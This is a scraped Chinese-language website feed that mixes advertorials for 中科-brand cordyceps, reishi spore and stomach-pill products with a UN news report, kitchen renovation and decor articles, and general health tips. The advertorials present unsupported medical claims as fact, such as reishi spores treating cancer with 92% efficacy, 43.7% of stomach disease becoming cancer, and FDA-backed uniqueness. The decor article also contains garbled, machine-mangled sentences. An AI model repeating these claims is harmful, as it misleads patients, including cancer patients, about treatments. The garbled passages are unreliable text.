        由于天然的冬虫夏草非常的稀有且昂贵,因此开发出培养菌丝体的方式用来取代天然的冬虫夏草。在过去冬虫夏草无性世代的鉴定一直是个争论的议题,如今已广泛接受中华被毛孢(Hirsutella sinensis)才是冬虫夏草真正的无性世代。研究发现,适当的温度、环境以及营养素下培养的冬虫夏草菌丝体(中华被毛孢)也具有与天然冬虫夏草相似的生物活性。

        冬虫夏草性味甘平,具有润肺补肾、止咳化痰、益气壮阳、抑菌催眠的功能,因而对中老年人最易发生的痰喘咳嗽、盗汗阳痿、腰膝酸痛、失眠以及病后久虚不复等症,有显著的食疗功效。

        虫草中所含的多种氨基酸、微量元素,超氧化物歧化酶不仅可增强机体免疫能力、提高耐受力、抵抗疲劳、抗心律失常、降血压、降血脂的功效外,还有抗氧化清除体内“自由基”(细胞垃圾)的功能,对延缓机体细胞衰老、防止有毒物质对机体的侵害,也有显著的功效。

        据科学研究证明,虫草的浸剂有明显的扩张支气管的作用,并有抑制多种病菌(链球菌、葡萄球菌、炭疽杆菌、结核杆菌、皮肤真菌等)之效。

        自古以来,冬虫夏草一直被誉为我国“中药之王”,简称“虫草”,与人参、鹿茸一起被称为中国三大补品,位列三大补品之首。接下来让我们一起具体地了解下冬虫夏草的营养价值与功效!

        冬虫夏草怎么吃?

         

        冬虫夏草在民间常用的泡水磨粉、水煎炖汤还是泡药酒等方法的吸收率仅有20-30%。在全世界有400多种,除青藏高原的冬虫夏草外,其他虫草功效成分含量很低,甚至有害;由于青藏高原的冬虫夏草产量很有限,所以市场上见到的虫草就真假不分。

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        纽约冬虫夏草——中科牌虫草精华研究团队有着大陆一流高标准实验室和检测室,高标准的医药GMP车间,每批都经过FDA和海关检测认证,杜绝重金属污染,确保每一粒产品都符合安全要求,是目前全球唯一个获批出口的虫草产品。而高度的浓缩在客户中不断得到印证,虫草多用补肾强精。

         

        中科虫草精华胶囊经FDA注册,面世以来广大客户反馈,可帮助调节全身功能、提高免疫能力、增强巨噬细胞功能、促进抗体形成,具有保肺益肾养肝、止咳平喘祛痰、抗衰老、抗菌抗炎、镇静、扩张血管、降低血压、降低血糖、抗疲劳等功能。同时,获得男性用家的称讚,中科虫草精华可以有效帮助补充精力,增强性能力,效果远超一般虫草。

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        中科虫草精华胶囊具3大优势

        1.中科虫草精华胶囊中的虫草多糖、腺苷等有效成份都达到冬虫夏草的12倍以上,其中中科虫草虫草素的含量是原草体的67倍之多。

        2.根据中国药典,每日服用低于3克(约9根)基本无效,而服用中科虫草精华胶囊,一天只需4粒,免却蒸煮泡的繁琐,花费还不到10元,就能吸收到12克的虫草。

        3.中科虫草精华胶囊每一粒都经过严格的FDA和海关检测,杜绝重金属污染,安全有保障。

        2018-01-23 / by / in , ,
        “仙草”灵芝真的那么神吗?以为中老年才会用你真的错了!中科灵芝孢子粉 电话:(718)886-8834 纽约抗癌 增强免疫力 纽约抗癌药 失眠治疗 抗过敏 抗衰老

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        近年来,海内外流行一股养生热潮,无论男女老少都上了这条名叫养生的大船。从食补、药补再到医疗器械的辅助,明显都对自己的健康十分上心。而作为养生鼻祖的“仙草”灵芝,一直备受追捧,不过好多读者却以为灵芝就是上了年纪的人才会使用的养生保健品,其实不然。小编感觉灵芝其实更适合现今亚健康状态的年轻人,现在就带大家了解一下。

        灵芝(学名:Ganoderma Lucidum Karst),外形呈伞状,菌盖肾形、半圆形或近圆形,为多孔菌科真菌灵芝的子实体。具有补气安神、止咳平喘的功效,用于眩晕不眠、心悸气短、虚劳咳喘。灵芝性温,味淡,气特殊,味微苦涩。芝类药物始载于《本经》,根据芝的颜色不同,将芝类分成赤芝、黑芝、青芝、白芝、黄芝、紫芝六种。《本草纲目》云:“灵芝,无毒,主治胸中结,益心气,补中,增智慧,不忘,久食轻身不老,延年神仙”。

        灵芝的作用在医书中记载洋洋洒洒几千字,总结下来就是免疫调节,抗癌,降血糖、护肝,抗氧化、抗疲劳及抗辐射。而最大的功效就是增强免疫力和抗癌了。一个小小灵芝,就能对抗这么多病症,不怪乎被称作“仙草”了。

        随着人们的保健意识不断加强,灵芝加工的保健品五花八门出现在了我们的生活中。其中人气最高的叫做灵芝破壁孢子粉。破壁是啥?孢子又是啥?我们就来看看到底有什么玄机。

        简单来说,灵芝孢子是灵芝在生长成熟期,从灵芝菌褶中弹射出来的极其微小的卵形生殖细胞即灵芝的种子。每个灵芝孢子只有4-6个微米,是活体生物体,双壁结构,外被坚硬的几丁质纤维素所包围,人体很难充分吸收。破壁后更适合人体肠胃直接吸收。

        目前市面上销售的灵芝孢子粉,大部分都是以灵芝三萜功效为主。灵芝三萜是灵芝的种重要药理成分,灵芝中的三萜成分对于抗肿瘤发挥着重要的功效。三萜类化合物是灵芝(孢子)发挥抗炎、镇痛、镇静、抗衰老、抑制肿瘤细胞、抗缺氧等作用的主要功效成分,实验证明灵芝三萜类具有迅速提高免疫力的作用,表现在促进淋巴细胞增殖,提高巨噬细胞、NK细胞、T细胞的吞噬能力和杀伤力。

        中科牌赤灵芝孢子粉已在22家肿瘤医院用于肿瘤治疗,CFDA功效认证为「调节免疫、辅助抑制肿瘤」,并获得香港及新加坡中成药药品编号,是目前唯一获得抗肿瘤功效认证、适用于免疫疗法的灵芝产品。

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        中科产品目前已经进入美国市场,纽约中科的灵芝采用人类首次在太空育种的灵芝品种。经检验,其有效成分浓度也是地面灵芝的数十倍以上,在中法科学院的共同研治下,中科赤灵芝孢子粉成为患者康复期的健康保障首选。在数万例癌症患者的临床使用中证实,临床有效率高达92%。

        圖為中科集團攜國藥靈芝亮相紐約時報廣場。

        纽约抗癌药——中科创新牌灵芝孢子油及中科牌爱特胶囊抗癌组方荣获10项国家发明专利,1项PCT国际发明专利「一种抗肿瘤製剂灵芝孢子油及其製备方法」,发明专利号:201108586-7。迄今已经帮助数万名癌症会员渡过难关,减轻放化疗副作用,重新给与会员以生的希望。此外,中科还自建一支30多人的中西医癌症专家团队。多年来,中科各分子公司开展的癌症防治和肿瘤康复保健讲座已经帮助会员逾千万。3年生存、5年生存、8年生存乃至10余年的康复生存期,中科一直在书写抗癌防治新篇章。

        2018-01-22 / by / in , , ,
        农历新年马上到了 你的胃准备好了吗?中科养胃丸 电话:(718) 886-8834 养胃、胃痛、胃胀 、胃痛药 、胃酸倒流、反酸、胸口疼痛、消化不良

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        中国传统节日农历新年马上就要到了。又是狂吃海喝、吃饭聚会的时刻,金牌小编提醒广大读者朋友们千万不要暴饮暴食。要是出现肠胃不适,上吐下泻的状况可就得不偿失。如果这时不好好保护你的胃,在节后还会出现各种精神倦怠、食欲不振的状况。也就是说,养胃护胃在这时就变得十分重要且关键。

        养胃可以采用食补和药补。今天小编就把两种方法都给大家介绍一下。

        肠胃不好就吃药是误区?

        胃部疾病是很常见的疾病,以至于很多人对于小小不言的胃痛并不重视,最后酿成重大疾病贻误治疗,后悔也来不及。据不完全统计,每10个人中会有4个患有胃溃疡,30~50岁的城市人口中,75%的人存在不同程度的胃肠病。慢性胃炎患者人群中筛查,有90%-95%的人都是幽门螺杆菌阳性。肠胃病已成致命杀手,致癌风险高达43.7%。

        上文的数字足以让一些读者开始重视自己的肠胃。一些间歇或经常性被胃痛折磨的人可能感受更大,就是胃病根治很困难。往往人们在胃痛时吃几片西药缓解不适,过后又会反复,这种慢性病靠西药很难得到根本救助。用西药降酸护胃效果不明显。多数患者在长年累月的病痛折磨中,普通胃病被诱发成为更为严重的胃肠道疾病。俗话说十人九胃病,恶变就要命。医学统计证明,胃肠道疾病中43.7%恶化成了癌症,致死率极高。

        食补和中医药才是王道

        慢性病调理还需靠中医药,中医药可以从内调养根源改善机体质素。还有在长年累月的饮食结构改变中达到养胃的效果。今天我们就来介绍使用国际专利萃取技术,採用纯天然药食同源成分——蜂胶和沙棘籽油,针对性修补胃黏膜、降低胃酸含量,适合各类人群的胃部滋养和修复的明星产品——中科蜂胶沙棘养胃丸。

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        针对亚健康的中科养胃丸

        中科养胃丸是中科健康产业集团股份有限公司研制开发的产品。中科集团成立于1984年,主营中药及中药保健品的研制、生产与销售,拥有一流的GMP生产流水线和强大的研发中心。该集团由中国科学院及其科研人员控股,是一家背景雄厚的高新技术企业。

        中科养胃丸的作用是根据中医传统针对胃部健康的概念「三分治七分养」,萃取天然有机沙棘果油,融合蜂胶精华,镇痛,能有效修复粘膜损伤部位,同时形成一层胃黏膜保护层,减少胃酸刺激,全面调理肠胃系统,强化营养吸收,从根本上防止胃部问题的产生。

        在中医药典籍记载中,蜂胶与沙棘也是针对性保护胃部的上品药材。

        主要成分有:有机沙棘籽油、蜂胶

        主要功效:

        促进消化,缓解胃胀、胃酸

        保护黏膜,减轻胃痛、腹泻

        舒缓镇痛,缓解皮肤湿毒

        提升免疫,消除身体疲劳

        三期调理胃病有奇效

        中科养胃丸根据中医原理将调理期划分三期:

        1、症状缓解期

        5天

        两大养胃精粹蜂胶、沙棘,从根本调养胃部,减轻胃痛、胃胀、烧心,反酸等等,迅速缓解各种胃部不适。

        2、胃部调理期

        中和胃酸,促进胃粘膜修复,减轻胃部负担,全面调理肠胃系统;增强胃动力,促进胃肠蠕动,令胃部有效运作,逐步恢复肠胃机能,减少肠胃不适发作次数。

        3、根源改善期

        增强胃部抗病能力,强效抗菌,保护胃肠道,全面改善胃胀胃痛,舒缓胃酸过多等不适症状,并增强胃部消化功能,改善消化不良,维持胃肠健康。

        食补也不能错过哦

        节后应该适当进行清胃、降低血脂,因此保护心血管的问题是非常重要的。下面我们一起来看看有哪些食物能帮助降脂清肠吧!

        1、玉米

        含丰富的钙、磷、镁、铁、硒及维生素A、B1、B2、B6、E和胡萝卜素等,还富含纤维质。

        2、菊花

        有降低血脂的效能,具有平稳的降压作用。在绿茶中掺杂一点菊花,对心血管有很好的保健作用。

        3、苹果

        其果胶具有降低血中胆固醇的作用。苹果含丰富的钾,可排除体内多余的钠盐,如每天吃1~2个苹果,对维持血压、血脂均有好处。

        4、燕麦

        具备降胆固醇和降血脂的作用。由于燕麦中含有丰富的食物纤维,这种可溶性的燕麦纤维,在其他谷物中找不到。因这种纤维容易被人体吸收,且热含量低,既有利于减肥,又能适合心脏病、高血压和糖尿病人对食疗的需要。

         

        2018-01-20 / by / in , ,
        古特雷斯强烈谴责朝鲜再次发射弹道导弹 安理会将召开紧急会议

        古特雷斯强烈谴责朝鲜再次发射弹道导弹 安理会将召开紧急会议(00:55)

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        秘书长古特雷斯11月28日晚间通过发言人发表声明,强烈谴责朝鲜当天再次发射一枚弹道导弹。安理会将于29日下午就此举行紧急会议。 请听联合国新闻黄莉玲的报道。

        古特雷斯在声明中强烈谴责朝鲜28日再次发射弹道导弹的行为。他指出,这明显违反了安理会的决议,完全无视国际社会的一致立场。

        古特雷斯敦促朝鲜停止进一步采取破坏稳定的步骤。 他同时重申致力于与所有各方合作,以减缓紧张局势。

        应日本的要求,安理会将在29日下午4点就此问题召开紧急会议。

        据报道,朝鲜于28日在平安南道首府平城市发射了一枚弹道导弹,飞行路线是韩国与日本之间的海域。这枚导弹在飞行了1000公里后,落入了日本海。

        黄莉玲,联合国纽约总部报道。

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        2017-11-29 / by / in
        厨房装修必读

        厨房是“获取能量”的地方,是 家居 生活中的一方温暖有爱之地。近年来,人们赋予厨房功能多样化,使它成为集餐厅和家庭活动功能为一体的空间,相应地,厨房的设计越来越受到重视。


        一、统一基调

        打造厨房首先要从设计的角度考虑,达到视觉的和谐统一。在开放式厨房空间中,也要考虑和周围的空间风格统一。此外,从色彩上入手打造也是一种比较简单的方式。大户型整体厨房可以选择一些较深的颜色,如此有利于整体空间的布局。而小户型整体厨房可以选择较浅的颜色,有利于体现整体的空间感。

        二、慎选板材

        如今板材行业频频出现甲醛问题,因而,用户在板材的选择上应该慎之又慎,莫贪便宜使用劣质板材。橱柜品质很大程度取决于材料的质量,除面板外,柜体板和粘胶都需要进行相关处理,才能保证各项有害物质的含量不超标。

        三、量身定制灶台/柜体高度

        在设置台面时,应依据不同的工作区以及自身的身高量身定制灶台/柜体高度。对于长期需要做饭的人来说,适宜高度的操作平台可有效防止疲劳。

        四、优化灯光布局

        除整体厨房的照明外,在洗涤、准备、操作区等局部区域也应采用照明灯,对于洗涤与准备区的照明,一般可以在吊柜下部布置射灯光源,并设置快捷开关装置。而在操作区中,充足的光线有利于炒菜火候的更好掌握。

        五:强化空间收纳

        在有限的厨房空间内,合理规划烹调区、洗涤区、储物区和休闲区,根据基础的搭配规则与家庭成员的使用习惯,合理分配每个区域的位置、面积,并考虑将冰箱、微波炉、电饭煲、烤箱等电器一一嵌入橱柜内,有效利用空间的同时,也有利于用户在厨房游刃有余地开展“工作”。

        2017-06-08 / by / in , ,
        厨房电源插座这样规划 使用得心应手
        厨房装修是每个家里装修的重点,毕竟其造价相当的高,金厨银卫由此而来。同时,厨房装修材料也设计颇多,橱柜,烟机灶具,水槽,瓷砖等等,当然还有水电,尤其是厨房的电路设计,由于现在家用厨房电器非常多,所以必须要设计规划好合理的厨房电路,这样才能够在以后住进去使用的时候得心应手。


        首先,厨房尽量使用带开关的插座,这样使用起来安全些,不用频繁的插拔插头。

        油烟机肯定需要电源,无论是欧式烟机还是中式烟机,一般插座在距离地面2.2m左右,当然要避开烟机的位置,在烟机附近即可。

        如果家里有燃气热水器,其一般插座高度差不多2米左右,最好距离水管20cm以上,同时还要避开抽烟道。

        橱柜台面操作台上一般会放小的厨电,不如微波炉,热水壶之类的,所以最好多预留几个,都是五孔插座,同时也要带开关。

        另外,有的人将冰箱也放在厨房中,所以要提前给冰箱预留好插座,一般离地面50cm高度就可以了。

        最后,水槽下面也要预留好插座,无论是后期安装净水机还是厨宝等,都需要电源,没有的话可就麻烦了。

        来源:网易家居

        2017-06-08 / by / in , ,
        修复橱柜常识

        家里当久用了的橱柜,变得不那么灵活,如门闩坏了,门铰链松了,抽屉不滑了,你是宁愿忍受使用上的不便,还是想办法动手将它修复呢?以下所列出的一些故障,都是橱柜容易出现的问题,一起学着解决它们吧。


        橱柜门无法紧密或高低不齐

        德式的铰链比较容易调整。靠近里面的深度螺丝,主要用来调整门片的前后位置,也就是门板的密合度。接近前方门片的侧面螺钉,是用来调整门片与柜体的缝隙宽度。

        调整柜门的不同螺丝让门片与柜体密合。(大纪元制图)
        调整柜门的不同螺丝让门片与柜体密合。(大纪元制图)

        如果一侧的门片突出柜体,合不上时,先松开深度螺丝,前后移动门片再重新拧紧螺钉。如果你的铰链没有深度螺丝,那就试试调整侧面螺丝。有时候,既要拧松深度螺丝,同时要对侧面螺钉进行微调,才能把门片调到合适的位置。

        如果对开的门片无法平齐,那就调整固定螺丝。固定螺丝是在深度螺丝两侧的一组螺钉。松开一侧门片铰链上的固定螺钉,上下移动门片,然后拧紧螺钉。用同样方法调整另一侧门片。

        调整或更换门闩

        大多数新式款橱柜都有带自动关门的功能,让柜门保持闭合,一些橱柜则有磁性或滚轮装置的门夹扣。如果夹扣无法让门关上,要么是坏了,要么是需要调整位置。门夹扣只有两个螺钉做固定,所以更换新的门夹扣是很简单的。尝试调整它的位置,然后关上柜门测试。

        贴上缓冲垫防止噪音

        你是不是早已听厌了“碰!碰!”的橱柜关门噪音呢?只要去买小缓冲垫,就可以解决这个问题。先把门边都清洁干净,把小缓冲垫黏在橱柜门内面的上下角落,就能使每次关门都变得静悄悄的。

        添加缓冲垫,防止关门时发出的噪音。(李欧/大纪元)
        添加缓冲垫,防止关门时发出的噪音。(李欧/大纪元)

         

        更换磨损的抽屉滑轨

        如果你发现抽屉的滑轨已经歪了,滑轮坏了或滑轮经过润滑后仍然不能流畅运行,那么最好换个新的滑轨。解开旧滑道上的螺丝,拆下旧滑轨,然后带着它去家居市场去找一个一样大小的,普通抽屉的滑轨一般不超过15美元。

        给抽屉喷润滑剂

        只要几分钟的清洁和润滑,抽屉的滑道能变得像新的一样顺滑:先把抽屉尽量往外拉出来,然后举起或压低抽屉前部,为了让滑轮脱离滑轨接着,把滑轨清洁干净,给滑轨和滑轮都喷上一层薄薄的润滑剂。

        黏紧松脱的把手

        抽屉或柜子的把手柄一旦松了,以后容易继续松脱。只要在螺纹上涂上一点螺纹胶(也称厌氧胶),再将把手拧紧,螺纹胶会在螺纹间隙形成塑性胶膜锁紧螺钉。即使将来要更换把手,涂了螺纹胶的螺钉仍然能借助螺丝刀拆下来。

        紧实疏松的螺钉孔

        某些螺丝孔可能因为调整的缘故而变大,导致螺丝栓不紧实。这时先把旧螺钉和五金件取出来,然后把沾了黏合剂的牙签黏成束状塞入螺钉孔里,尽可能塞多一点。塞满后,把多出来的牙签折断,用块湿布擦掉溢出的胶水。不需要等胶水干了或打新的螺钉孔,直接用螺丝刀在牙签束中拧入旧螺钉即可。

        修饰刮痕和划痕

        如果橱柜上有浅色的刮痕或划痕,可以用近似橱柜颜色的修色笔将这些残缺一并藏起来。在划痕位置抹上一点修色颜料,然后用布擦去多出部分。不过要注意的是,刮痕经过修色后容易变得比其它部分的颜色更深。
        因此,先用比橱柜颜色更浅一点的修色笔做试验,必要时再改用深色一点的。如果刮痕比较深,可以试试用修补蜡笔(putty pencil)来修色和填平痕迹。

        2017-06-07 / by / in
        装修三次厨房才得到的最佳经验,真的用几十年都觉得顺手!

        装修三次厨房才得到的最佳经验,过来人的血泪教训千万要谨记,装好真的用几十年都觉得顺手。
        1.厨房灯一定要用白色的,因为你做菜要看颜色啊,那种发黄的灯光虽然看上去暖暖的,但是很容易影响颜色判断。


        2.厨房瓷砖最好就是基础的抛光砖,见过一些朋友为了文艺小清新搞一些棉麻、仿古砖,最后只能是积累油垢,马赛克也少用。

        3.从橱柜来说,台面最好用不銹钢的,嫌不好看的就用石英石。人造石市场很乱,不好买。大理石又不耐脏。

        4.橱柜有条件的话一定要做这种错开高度的,洗菜区要高一点,这样用不着过度弯腰,炒菜的地方要矮一点,这样用不着架着胳膊炒菜。

        5.厨房还是用台下盆,因为用水比较多,台下盆能及时把台面上的水扫进水槽,快捷方便。

        6.水槽最好是选大单槽,一到过年做菜忙不过来的时候你就懂了,能装才是最好的。

        7.别再说厨房要很多插座了,虽然厨房小电器多,但是这些电器也不可能同时使用,用的时候搬动一下就行了,你也不可能把所有的小电器都一排排地放在台面上吧。

        8.中国人的厨房,千万别做开放式的。

        2017-06-03 / by / in , ,
        家居装饰风格档案:农舍小屋风情

        家居装饰中的农舍小屋风格不仅十分温馨组合组合组合舒适,也洋溢着与浪漫与个性,会令家人和客人十分放松其特点包括:中性或沉着的柔和色系(又称粉彩),中性色或带图案的柔软织物,木地板,动词}以及旧的铜绿各种等复古的细节。


        装壁板(Beadboard),厚重敦实的踢脚板,开放式架子,是农舍小屋装饰风的另一个共同点。而这还仅只是开始。

        我们让走进农舍小屋式的通通通现代家居,对这一流行风格做一番仔细审视。

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        刷白复古的墙壁,涂漆的木地板,加上一小块地毯,营造出一种休闲小屋的感觉。(JZhuk / iStock)

        地板

        无论是刷漆,涂白还是保留自然色,农舍小屋式的地板几乎都是硬木地板不过,浴室还是可以用圆角马赛克瓷砖或其它复古风格的瓷砖注意:如果你想在脚下增加柔软感,要选一块只遮住部分地面的小地毯,决不要从墙根一铺到底。

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        这间客厅的主色调是柔和的白色,罩着沙发套的白沙发上摆着白色和中性色的沙发垫。(KatarzynaBialasiewicz / iStock)

        织物

        农舍小屋式的纺织面料几乎都是由天然纤维制成,且相当有女人味,这包括印有柔美花卉图案的轻质棉布,通眼刺绣棉布,格子棉布,大片蕾丝,以及手工棉被等。粗麻布也是农舍小屋风格爱好者的至爱面料之一。

        沙发套在农舍小屋式家居中有广泛应用。为你为沙发罩上一个有型的沙发套(请别铺床单),再铺上些纹理,图案各异的有味道的沙发垫,房间的农舍小屋风情已经初现。

        色彩

        沉着的柔和色系(粉彩),本色,再加上温暖的白色,构成了农舍小屋的调色板。这种风格往往采用白色为基础色,结合其它色彩来增添情趣。不过,与多数其它家居风格一样,根据住的地方和个人品味,你也可以对基本色调稍加改变- 室内设计毕竟的英文赋予居室以个性的过程。

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        在这间简单的白色厨房里,前立水水槽(围裙水槽)和复古风格的水龙头散发出农舍小屋的气息(KatarzynaBialasiewicz / iStock)

        家具及灯具

        农舍小屋风格的重要元素是久受宝爱的旧旧的家具和灯具:从涂漆的铁艺床头板,仿古家具,开放式架子,到柳条藤编物件,前立水水槽,和盖着沙发套的温馨的沙发,这些大的家居物件往往集中体现出农舍小屋的设计语言。

        注:虽然农舍小屋风格与别致的破旧感曾经是同义词,但其风格在演化中早已摆脱了破旧的意涵这意味着农舍小屋美学中完全可以没有任何破旧的因素。

        饰品

        这是农舍小屋设计风格真正表达自己的部分。小摆设,抱枕,花卉……这些风味饰品是农舍小屋风格的精髓和灵魂所在。明显为屋主珍爱的照片墙,浪漫的玻璃牛奶容器,异想天开的复古耐热(Pyrex)玻璃器皿,还有不加矫正的牡丹,绣球花或薰衣草等在石樽,简单的花瓶或玻璃储物罐(mason jar)中自然绽放….. 。

        挑战

        很多在头脑中构思农舍小屋式家居的人士恰好也是收藏家。他们喜欢销售房地产,在自家车库或后院卖旧货,或者爱逛古董旧货店。事实上,有人说,农舍小屋风格远不仅是一种设计语言,而是一种生活方式。

        农舍小屋风格的挑战在于,在精心设计与率性而为二者间保持平衡很多人喜欢不断添置各种小元素,这可能让。居室空间迅速变成杂乱的玩具屋;然而,当装饰尺度把握得很好时,农舍小屋式的居室绝对可以成为一场视觉的盛宴。◇

        本文作者达拉‧格兰特 – 布雷德(Darla Grant-Braid)是家居网站eieihome.com的社交媒体和内容主管。本文原始EiEi Home Inc.出版,更多资讯请访问www.eieihome.com。

        2017-06-01 / by / in , , , ,
        天然草本疗法缓解女性更年期综合症

        女性朋友到了更年期最明显的症状,也是最早出现的是潮热、出汗和心慌。这是血管舒张和收缩失调的一系列表现。更年期综合症中潮热是颇具特性的。


        患者常不自觉的突然出现强烈的发热感,由躯干上部,特别是颈面部,向上扩展到头顶,然后自然消失,随之出汗,皮肤有刺激或轻度寒冷感。白天、黑夜任何时候都可以发生,每次持续数秒钟至数分钟不等。有的人偶然发作1次;有的人每在活动、进食或情绪不稳时即发作,甚至频繁到每天30~50次之多,经常在睡梦中热醒、大汗且影响睡眠,以致头昏、头痛,非常苦恼。但这种症状属自限性,少则一年半载,多则4年5年就自行消失。

        其次是植物神经系统功能失调症状,如:疲乏、注意力不集中、抑郁、紧张情绪不稳、易激动、失眠、多疑、健忘、肢体感觉异常(有蚁走感、麻木、沉重、痉挛)、头晕、耳鸣等。这些症状不一定都出现,每种症状的轻重程度及发作频度各不相同,可以多样化。约75%更年期妇女可有上述一类症状及不适,但多数会逐渐减轻以至完全复原。其中有些症状,如:健忘、疲乏等,可能更多的原因是与老年性变化有关,但发生在更年期,使妇女不易区分清楚。

        其他症状,如:骨骼关节痛、骨质疏松症、冠心病、高血压病动脉硬化症、各种代谢及营养病,以及泌尿系和生殖道不适症状。在临床上虽然不如血管舒缩和植物神经功能失调症状那样困扰病人,但这些改变却多半是不可逆的病理状态,常持续到老年期,或加重、或引起其他合并症,影响到老年人的健康和生命,更应给予充分注意。

        要缓解以上女性更年期症状,防治措施之一就是要双向调节体内激素,避免雌激素的减少,而雌激素是依靠女性卵巢分泌而来,因此前提就是要启动衰退的卵巢功能,而目前世界各国最为推崇的天然草本疗法就是以此为根本,能够明显恢复和强化卵巢机能,调节体内雌激素分泌水平,从而消除更年期的相关症状,从根本上解决问题。

        2017-05-30 / by / in
        体重过重增患卵巢癌风险

        卵巢癌是最常见的妇科癌病之一。一份新的报告首次发现,过重会增加女性患上卵巢癌的风险。

        多年来研究人员在研究肥胖和卵巢癌之间的关联,结论不一。日前由美国癌症研究所和世界癌症研究基金会公布的报告,首次发现肥胖是导致卵巢癌发生的一个“可能”原因。


        研究人员指出:女性体重指数(BMI)增加5点,罹患卵巢癌的风险会增加6%。根据美国国立卫生研究院,体重指数大于25的人被认为是超重,超过30则属肥胖。

        据美国国家癌症研究所,与肥胖有关的癌症还有:结肠癌、子宫癌、食道癌、肾癌、胆囊癌、甲状腺癌、胰腺癌以及更年期后乳腺癌。保持健康的体重可以预防五分之一这些癌症的发生。专家说,减肥对减少其他疾病,如糖尿病和心脏疾病也很有好处。

        据美国癌症协会,在美国每年确诊的卵巢癌病例达2万2400人,超过1万4000人死亡。卵巢癌往往不产生明显症状,直到癌症严重扩散全身以至无法治愈。约43%的患者可存活至少五年。

        这份新的报告发现有限非证实证据表明,母乳喂养可以降低卵巢癌风险。另有证据表明,服用口服避孕药可减少卵巢癌的风险,因为减少了女性排卵次数。

        2017-05-30 / by / in
        鱼刺哽噎 正确处理3步骤

        每当吃鱼时,如果没有仔细挑出鱼刺,很可能就会被尖尖的鱼刺刺入咽喉,有些民众当下会采用一些错误的方式处理,这样反而会愈弄愈糟。医师提醒,千万别以为被鱼刺刺入没什么,严重者还可能会刺入食道或肠胃道,造成并发症。


        民众不小心吞入的鱼刺或异物,发生位置常在食道或喉头,这是因为食道有三处生理性狭窄,也就是先天性正常的狭窄,分别在喉咽与刚入食道的交接处,食道中段,食道与胃的交接处。但临床上也有少数案例是鱼刺通过食道,造成胃肠道穿孔,导致腹膜炎。民众用错方法造成反效果
        当鱼刺穿刺食道会造成突发性吞咽疼痛,吞咽困难,胸痛,恶心,呕吐,发烧,脖子痛,甚至出血症状,包括吐血,排黑便,血便等。若这时民众想吞几口白饭,看看能不能将将鱼刺挤下食道,反而可能使鱼刺越刺越深;也有民众尝试喝白醋,看看能不能将鱼骨软化,但仔细想想,若是醋的浓度高到可以软化鱼骨,那势必也会造成食道损伤。

        检查根据查询查询结果评估处理方式
        当病人被鱼刺刺到来医院时,会如何处理呢?先请耳鼻喉科医师检查鱼刺是否卡在咽喉处,如果是,依位置与鱼刺的大小来决定是直接目视取出,或是全身麻醉用硬式喉头镜取出;若不是,则会照X光来找出可能的鱼刺位置但是,由于鱼刺非常细小,X光照不出来也是常见的事,不过仍然要以病人临床症状为主,再仔细评估。

        另外,病人若有出现异常疼痛,或是脖子摸起来有“逼逼啵啵”的感觉,甚至要做电脑断层以排除已造成食道穿孔,或是其他严重的并发症;若无,则接下来就会需要由肠胃科医师借助胃镜或是食道镜去取鱼刺。

        当不小心吞入鱼刺时,正确的处理步骤如下:
        1.立即停止进食,接着大量喝水。少量
        水分或许可以帮助小鱼刺脱落,但对于刺得较深的大鱼刺则毫无帮助,反而会使后续进行胃镜或食道镜时,增加吸入性肺炎的风险
        2.轻轻咳嗽,试着把刺入咽喉的鱼刺咳出
        咳嗽时不太用力咳,而咳嗽对于刺入咽喉以下的鱼刺是无效的
        。3.若以上方式无效,请立即送医。
        由于食道壁很薄而紧邻大动脉,在临床上曾发生鱼刺刺穿食道与大动脉,造成吐血或内出血身亡的案例;还有因深颈部或是纵隔腔感染,造成生命危险或是困难治疗;也有仅是刺穿食道,将鱼刺取出一星期后,却因后续发炎与感染,造成突发性出血致死因此,被鱼刺刺入决不可拖延,

        其实不只是吃鱼时要小心鱼刺,在吃鸡肉时的鸡骨头,或是吃其他食物有尖状的骨,壳,刺等也是要小心,还要细嚼慢咽,以免乐极生悲。

        2017-05-29 / by / in
        运动瘀青正确处理4步骤:冰、药、热、医

        不仅运动选手,一般民众若有瘀青、血肿,也应该积极处理。建议掌握‘冰、、热、医’处理步骤,把握瘀青、血肿的黄金处理期,加速复原。


        处理瘀青四步骤

        第一步“冰” 8小时内“冰敷”使表层冷却、血管收缩,进而减轻血肿及疼痛
        第二步“ 使用瘀青血肿药。
        第三步“热” 48小时后持续使用药品并搭配“热敷”,可以增加皮肤血液循环,进而增加受伤部位的血液流量、通透,可以加速血肿退散复原。
        第四步“医” 若瘀青血肿长久未消退,应“就医”检查,了解是否已伤及深层组织或骨头,或了解若瘀青、血肿久而不愈,是否可能有其他健康问题,如紫斑症、血液疾病。
        2017-05-29 / by / in , ,
        人体有奇穴 “中脘穴”堪称万能胃药

        现代人吃得太多、太快,饮食不当,导致胃病成一种常见病。这种饮食习惯养成的病痛总是不断重复发作,似乎很难根治,严重时还会影响工作和情绪。如果你懂得穴位按摩,只要掌握一些简单方法,在胃不舒服时就可以自行缓解。

        中医学称“用穴如用药”,中脘穴是脾胃病的常用穴,经常按摩这个穴位,可以发挥神奇的作用,它就像与生俱备的人体药物箱。胃痛时可试试按摩这个穴位,体验一下它的神奇功效。

        中脘穴

        胃脘穴(中脘穴)。(大纪元)
        胃脘穴(中脘穴)。(大纪元)

        中脘穴是脾胃病的常用穴,主治消化系统疾病,如腹胀、腹泻、腹痛、一般胃病、胃脘痛等。研究发现,刺激中脘穴,会增强胃的蠕动,表现为幽门开放,使食物进入十二指肠的连接面,此穴能提高机体免疫能力,使巨噬细胞的吞噬活性增强。

        中脘穴位于人体上腹部,前正中线上,胸骨下端和肚脐连接线中点即为此穴。有些脾胃功能差的人会出现脸肿、眼睛下面肿的情况,所以按揉中脘穴对消除眼袋也有帮助。

        按摩方法:不同的刺激方式和刺激量会产生不同的作用,可视病情自行调节。

        1.揉中脘法:用指端或掌根在穴上揉,约揉2~5分钟。

        2.摩中脘法:用掌心或四指摩中脘,约5~10分钟。

        中脘穴和梁丘:治疗气滞胃痛

        中国古代经络图(大纪元图片库)
        中国古代经络图(大纪元图片库)

        中脘穴配梁丘穴治疗气滞引起的胃脘疼痛不适,有立竿见影之效。

        对于刚吃了热饭,又喝了凉风,导致胃气被冷气所阻,寒凝气滞引起的胃疼。只要按摩中脘穴和梁丘穴,可以迅速缓解症状。

        梁丘穴是胃经的穴,屈膝成90度,在髌骨外上缘直上约三横指处。主治症状为:胃痉挛、腹泻、膝盖头痛、浮肿等。

        按摩方法:在中脘和梁丘二个穴位上用拇指用力点按,坚持20秒钟以上,放松5秒钟,再次重复点按。

        中脘穴和足三里:调理脾胃虚弱

        足阳明胃经经络穴位图(Foina 绘制)
